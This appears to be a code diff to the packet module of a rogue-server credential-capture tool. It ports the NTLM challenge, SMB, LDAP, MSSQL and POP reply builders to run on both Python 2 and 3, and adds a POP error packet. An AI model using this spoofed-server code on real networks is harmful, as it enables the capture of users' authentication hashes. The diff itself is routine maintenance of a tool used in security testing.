CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
|
||||||
|
|
||||||
# Target Name Offsets
|
# Target Name Offsets
|
||||||
self.fields["TargetNameOffset"] = struct.pack("<i", len(CalculateNameOffset))
|
self.fields["TargetNameOffset"] = StructPython2or3("<i",CalculateNameOffset)
|
||||||
self.fields["TargetNameLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
|
self.fields["TargetNameLen"] = StructPython2or3("<h",self.fields["TargetNameStr"])
|
||||||
self.fields["TargetNameMaxLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
|
self.fields["TargetNameMaxLen"] = StructPython2or3("<h",self.fields["TargetNameStr"])
|
||||||
# AvPairs Offsets
|
# AvPairs Offsets
|
||||||
self.fields["TargetInfoOffset"] = struct.pack("<i", len(CalculateAvPairsOffset))
|
self.fields["TargetInfoOffset"] = StructPython2or3("<i",CalculateAvPairsOffset)
|
||||||
self.fields["TargetInfoLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
|
self.fields["TargetInfoLen"] = StructPython2or3("<h",CalculateAvPairsLen)
|
||||||
self.fields["TargetInfoMaxLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
|
self.fields["TargetInfoMaxLen"] = StructPython2or3("<h",CalculateAvPairsLen)
|
||||||
# AvPairs StrLen
|
# AvPairs StrLen
|
||||||
self.fields["Av1Len"] = struct.pack("<i", len(str(self.fields["Av1Str"])))[:2]
|
self.fields["Av1Len"] = StructPython2or3("<h",self.fields["Av1Str"])
|
||||||
self.fields["Av2Len"] = struct.pack("<i", len(str(self.fields["Av2Str"])))[:2]
|
self.fields["Av2Len"] = StructPython2or3("<h",self.fields["Av2Str"])
|
||||||
self.fields["Av3Len"] = struct.pack("<i", len(str(self.fields["Av3Str"])))[:2]
|
self.fields["Av3Len"] = StructPython2or3("<h",self.fields["Av3Str"])
|
||||||
self.fields["Av4Len"] = struct.pack("<i", len(str(self.fields["Av4Str"])))[:2]
|
self.fields["Av4Len"] = StructPython2or3("<h",self.fields["Av4Str"])
|
||||||
self.fields["Av5Len"] = struct.pack("<i", len(str(self.fields["Av5Str"])))[:2]
|
self.fields["Av5Len"] = StructPython2or3("<h",self.fields["Av5Str"])
|
||||||
|
|
||||||
class IIS_Auth_401_Ans(Packet):
|
class IIS_Auth_401_Ans(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
|
@ -417,18 +427,18 @@ class MSSQLPreLoginAnswer(Packet):
|
||||||
InstOpOffset = EncryptionOffset+str(self.fields["EncryptionStr"])
|
InstOpOffset = EncryptionOffset+str(self.fields["EncryptionStr"])
|
||||||
ThrdIDOffset = InstOpOffset+str(self.fields["InstOptStr"])
|
ThrdIDOffset = InstOpOffset+str(self.fields["InstOptStr"])
|
||||||
|
|
||||||
self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket))
|
self.fields["Len"] = StructWithLenPython2or3(">h",len(CalculateCompletePacket))
|
||||||
#Version
|
#Version
|
||||||
self.fields["VersionLen"] = struct.pack(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"]))
|
self.fields["VersionLen"] = StructWithLenPython2or3(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"]))
|
||||||
self.fields["VersionOffset"] = struct.pack(">h",len(VersionOffset))
|
self.fields["VersionOffset"] = StructWithLenPython2or3(">h",len(VersionOffset))
|
||||||
#Encryption
|
#Encryption
|
||||||
self.fields["EncryptionLen"] = struct.pack(">h",len(self.fields["EncryptionStr"]))
|
self.fields["EncryptionLen"] = StructWithLenPython2or3(">h",len(self.fields["EncryptionStr"]))
|
||||||
self.fields["EncryptionOffset"] = struct.pack(">h",len(EncryptionOffset))
|
self.fields["EncryptionOffset"] = StructWithLenPython2or3(">h",len(EncryptionOffset))
|
||||||
#InstOpt
|
#InstOpt
|
||||||
self.fields["InstOptLen"] = struct.pack(">h",len(self.fields["InstOptStr"]))
|
self.fields["InstOptLen"] = StructWithLenPython2or3(">h",len(self.fields["InstOptStr"]))
|
||||||
self.fields["EncryptionOffset"] = struct.pack(">h",len(InstOpOffset))
|
self.fields["EncryptionOffset"] = StructWithLenPython2or3(">h",len(InstOpOffset))
|
||||||
#ThrdIDOffset
|
#ThrdIDOffset
|
||||||
self.fields["ThrdIDOffset"] = struct.pack(">h",len(ThrdIDOffset))
|
self.fields["ThrdIDOffset"] = StructWithLenPython2or3(">h",len(ThrdIDOffset))
|
||||||
|
|
||||||
class MSSQLNTLMChallengeAnswer(Packet):
|
class MSSQLNTLMChallengeAnswer(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
|
@ -475,12 +485,12 @@ class MSSQLNTLMChallengeAnswer(Packet):
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
# First convert to unicode
|
# First convert to unicode
|
||||||
self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le')
|
self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le').decode('latin-1')
|
||||||
self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le')
|
self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le').decode('latin-1')
|
||||||
self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le')
|
self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le').decode('latin-1')
|
||||||
self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
|
self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le').decode('latin-1')
|
||||||
self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
|
self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le').decode('latin-1')
|
||||||
self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
|
self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le').decode('latin-1')
|
||||||
|
|
||||||
# Then calculate
|
# Then calculate
|
||||||
CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
|
CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
|
||||||
|
@ -489,22 +499,22 @@ class MSSQLNTLMChallengeAnswer(Packet):
|
||||||
CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
|
CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
|
||||||
CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
|
CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
|
||||||
|
|
||||||
self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket))
|
self.fields["Len"] = StructWithLenPython2or3(">h",len(CalculateCompletePacket))
|
||||||
self.fields["SSPIBuffLen"] = struct.pack("<i",len(CalculateSSPI))[:2]
|
self.fields["SSPIBuffLen"] = StructWithLenPython2or3("<i",len(CalculateSSPI))[:2]
|
||||||
# Target Name Offsets
|
# Target Name Offsets
|
||||||
self.fields["TargetNameOffset"] = struct.pack("<i", len(CalculateNameOffset))
|
self.fields["TargetNameOffset"] = StructWithLenPython2or3("<i", len(CalculateNameOffset))
|
||||||
self.fields["TargetNameLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
|
self.fields["TargetNameLen"] = StructWithLenPython2or3("<i", len(self.fields["TargetNameStr"]))[:2]
|
||||||
self.fields["TargetNameMaxLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
|
self.fields["TargetNameMaxLen"] = StructWithLenPython2or3("<i", len(self.fields["TargetNameStr"]))[:2]
|
||||||
# AvPairs Offsets
|
# AvPairs Offsets
|
||||||
self.fields["TargetInfoOffset"] = struct.pack("<i", len(CalculateAvPairsOffset))
|
self.fields["TargetInfoOffset"] = StructWithLenPython2or3("<i", len(CalculateAvPairsOffset))
|
||||||
self.fields["TargetInfoLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
|
self.fields["TargetInfoLen"] = StructWithLenPython2or3("<i", len(CalculateAvPairsLen))[:2]
|
||||||
self.fields["TargetInfoMaxLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
|
self.fields["TargetInfoMaxLen"] = StructWithLenPython2or3("<i", len(CalculateAvPairsLen))[:2]
|
||||||
# AvPairs StrLen
|
# AvPairs StrLen
|
||||||
self.fields["Av1Len"] = struct.pack("<i", len(str(self.fields["Av1Str"])))[:2]
|
self.fields["Av1Len"] = StructWithLenPython2or3("<i", len(str(self.fields["Av1Str"])))[:2]
|
||||||
self.fields["Av2Len"] = struct.pack("<i", len(str(self.fields["Av2Str"])))[:2]
|
self.fields["Av2Len"] = StructWithLenPython2or3("<i", len(str(self.fields["Av2Str"])))[:2]
|
||||||
self.fields["Av3Len"] = struct.pack("<i", len(str(self.fields["Av3Str"])))[:2]
|
self.fields["Av3Len"] = StructWithLenPython2or3("<i", len(str(self.fields["Av3Str"])))[:2]
|
||||||
self.fields["Av4Len"] = struct.pack("<i", len(str(self.fields["Av4Str"])))[:2]
|
self.fields["Av4Len"] = StructWithLenPython2or3("<i", len(str(self.fields["Av4Str"])))[:2]
|
||||||
self.fields["Av5Len"] = struct.pack("<i", len(str(self.fields["Av5Str"])))[:2]
|
self.fields["Av5Len"] = StructWithLenPython2or3("<i", len(str(self.fields["Av5Str"])))[:2]
|
||||||
|
|
||||||
##### SMTP Packets #####
|
##### SMTP Packets #####
|
||||||
class SMTPGreeting(Packet):
|
class SMTPGreeting(Packet):
|
||||||
|
@ -571,6 +581,11 @@ class POPOKPacket(Packet):
|
||||||
("CRLF", "\r\n"),
|
("CRLF", "\r\n"),
|
||||||
])
|
])
|
||||||
|
|
||||||
|
class POPNotOKPacket(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Code", "-ERR"),
|
||||||
|
("CRLF", "\r\n"),
|
||||||
|
])
|
||||||
##### LDAP Packets #####
|
##### LDAP Packets #####
|
||||||
class LDAPSearchDefaultPacket(Packet):
|
class LDAPSearchDefaultPacket(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
|
@ -733,11 +748,11 @@ class LDAPNTLMChallenge(Packet):
|
||||||
|
|
||||||
###### Convert strings to Unicode first
|
###### Convert strings to Unicode first
|
||||||
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
|
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le')
|
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le').decode('latin-1')
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le')
|
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le').decode('latin-1')
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le')
|
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le').decode('latin-1')
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le')
|
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le').decode('latin-1')
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le')
|
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le').decode('latin-1')
|
||||||
|
|
||||||
###### Workstation Offset
|
###### Workstation Offset
|
||||||
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
|
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
|
||||||
|
@ -749,23 +764,23 @@ class LDAPNTLMChallenge(Packet):
|
||||||
NTLMMessageLen = CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
|
NTLMMessageLen = CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
|
||||||
|
|
||||||
##### LDAP Len Calculation:
|
##### LDAP Len Calculation:
|
||||||
self.fields["ParserHeadASNLen"] = struct.pack(">i", len(CalculatePacketLen))
|
self.fields["ParserHeadASNLen"] = StructWithLenPython2or3(">i", len(CalculatePacketLen))
|
||||||
self.fields["OpHeadASNIDLen"] = struct.pack(">i", len(OperationPacketLen))
|
self.fields["OpHeadASNIDLen"] = StructWithLenPython2or3(">i", len(OperationPacketLen))
|
||||||
self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen))
|
self.fields["SequenceHeaderLen"] = StructWithLenPython2or3(">B", len(NTLMMessageLen))
|
||||||
##### Workstation Offset Calculation:
|
##### Workstation Offset Calculation:
|
||||||
self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation))
|
self.fields["NTLMSSPNtWorkstationBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateOffsetWorkstation))
|
||||||
self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
self.fields["NTLMSSPNtWorkstationLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||||
self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
self.fields["NTLMSSPNtWorkstationMaxLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||||
##### IvPairs Offset Calculation:
|
##### IvPairs Offset Calculation:
|
||||||
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
|
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||||
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs))
|
self.fields["NTLMSSPNtTargetInfoLen"] = StructWithLenPython2or3("<h", len(CalculateLenAvpairs))
|
||||||
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs))
|
self.fields["NTLMSSPNtTargetInfoMaxLen"] = StructWithLenPython2or3("<h", len(CalculateLenAvpairs))
|
||||||
##### IvPair Calculation:
|
##### IvPair Calculation:
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
|
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
|
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
|
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
|
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
|
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
|
||||||
|
|
||||||
##### SMB Packets #####
|
##### SMB Packets #####
|
||||||
class SMBHeader(Packet):
|
class SMBHeader(Packet):
|
||||||
|
@ -792,7 +807,7 @@ class SMBNego(Packet):
|
||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
self.fields["bcc"] = struct.pack("<h",len(str(self.fields["data"])))
|
self.fields["bcc"] = StructPython2or3("<h",self.fields["data"])
|
||||||
|
|
||||||
class SMBNegoData(Packet):
|
class SMBNegoData(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
|
@ -807,7 +822,7 @@ class SMBNegoData(Packet):
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
CalculateBCC = str(self.fields["separator1"])+str(self.fields["dialect1"])
|
CalculateBCC = str(self.fields["separator1"])+str(self.fields["dialect1"])
|
||||||
CalculateBCC += str(self.fields["separator2"])+str(self.fields["dialect2"])
|
CalculateBCC += str(self.fields["separator2"])+str(self.fields["dialect2"])
|
||||||
self.fields["bcc"] = struct.pack("<h", len(CalculateBCC))
|
self.fields["bcc"] = StructWithLenPython2or3("<h", len(CalculateBCC))
|
||||||
|
|
||||||
class SMBSessionData(Packet):
|
class SMBSessionData(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
|
@ -835,8 +850,8 @@ class SMBSessionData(Packet):
|
||||||
])
|
])
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
CompleteBCC = str(self.fields["AccountPassword"])+str(self.fields["AccountName"])+str(self.fields["AccountNameTerminator"])+str(self.fields["PrimaryDomain"])+str(self.fields["PrimaryDomainTerminator"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLanman"])+str(self.fields["NativeLanmanTerminator"])
|
CompleteBCC = str(self.fields["AccountPassword"])+str(self.fields["AccountName"])+str(self.fields["AccountNameTerminator"])+str(self.fields["PrimaryDomain"])+str(self.fields["PrimaryDomainTerminator"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLanman"])+str(self.fields["NativeLanmanTerminator"])
|
||||||
self.fields["bcc"] = struct.pack("<h", len(CompleteBCC))
|
self.fields["bcc"] = StructWithLenPython2or3("<h", len(CompleteBCC))
|
||||||
self.fields["PasswordLen"] = struct.pack("<h", len(str(self.fields["AccountPassword"])))
|
self.fields["PasswordLen"] = StructWithLenPython2or3("<h", len(str(self.fields["AccountPassword"])))
|
||||||
|
|
||||||
class SMBNegoFingerData(Packet):
|
class SMBNegoFingerData(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
|
@ -872,7 +887,7 @@ class SMBSessionFingerData(Packet):
|
||||||
|
|
||||||
])
|
])
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
|
self.fields["bcc1"] = StructPython2or3('<h',self.fields["Data"])
|
||||||
|
|
||||||
class SMBTreeConnectData(Packet):
|
class SMBTreeConnectData(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
|
@ -891,9 +906,9 @@ class SMBTreeConnectData(Packet):
|
||||||
|
|
||||||
])
|
])
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
self.fields["PasswdLen"] = struct.pack("<h", len(str(self.fields["Passwd"])))[:2]
|
self.fields["PasswdLen"] = StructWithLenPython2or3("<h", len(str(self.fields["Passwd"])))[:2]
|
||||||
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
|
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
|
||||||
self.fields["Bcc"] = struct.pack("<h", len(BccComplete))
|
self.fields["Bcc"] = StructWithLenPython2or3("<h", len(BccComplete))
|
||||||
|
|
||||||
class RAPNetServerEnum3Data(Packet):
|
class RAPNetServerEnum3Data(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
|
@ -943,16 +958,16 @@ class SMBTransRAPData(Packet):
|
||||||
else:
|
else:
|
||||||
self.fields["PipeTerminator"] = "\x00\x00\x00"
|
self.fields["PipeTerminator"] = "\x00\x00\x00"
|
||||||
##Convert Path to Unicode first before any Len calc.
|
##Convert Path to Unicode first before any Len calc.
|
||||||
self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le')
|
self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le').decode('latin-1')
|
||||||
##Data Len
|
##Data Len
|
||||||
self.fields["TotalParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
|
self.fields["TotalParamCount"] = StructWithLenPython2or3("<i", len(str(self.fields["Data"])))[:2]
|
||||||
self.fields["ParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
|
self.fields["ParamCount"] = StructWithLenPython2or3("<i", len(str(self.fields["Data"])))[:2]
|
||||||
##Packet len
|
##Packet len
|
||||||
FindRAPOffset = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved1"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved2"])+str(self.fields["Bcc"])+str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])
|
FindRAPOffset = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved1"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved2"])+str(self.fields["Bcc"])+str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])
|
||||||
self.fields["ParamOffset"] = struct.pack("<i", len(FindRAPOffset)+32)[:2]
|
self.fields["ParamOffset"] = StructWithLenPython2or3("<i", len(FindRAPOffset)+32)[:2]
|
||||||
##Bcc Buff Len
|
##Bcc Buff Len
|
||||||
BccComplete = str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])+str(self.fields["Data"])
|
BccComplete = str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])+str(self.fields["Data"])
|
||||||
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]
|
self.fields["Bcc"] = StructWithLenPython2or3("<i", len(BccComplete))[:2]
|
||||||
|
|
||||||
class SMBNegoAnsLM(Packet):
|
class SMBNegoAnsLM(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
|
@ -980,8 +995,8 @@ class SMBNegoAnsLM(Packet):
|
||||||
self.fields["Domain"] = self.fields["Domain"].encode('utf-16le')
|
self.fields["Domain"] = self.fields["Domain"].encode('utf-16le')
|
||||||
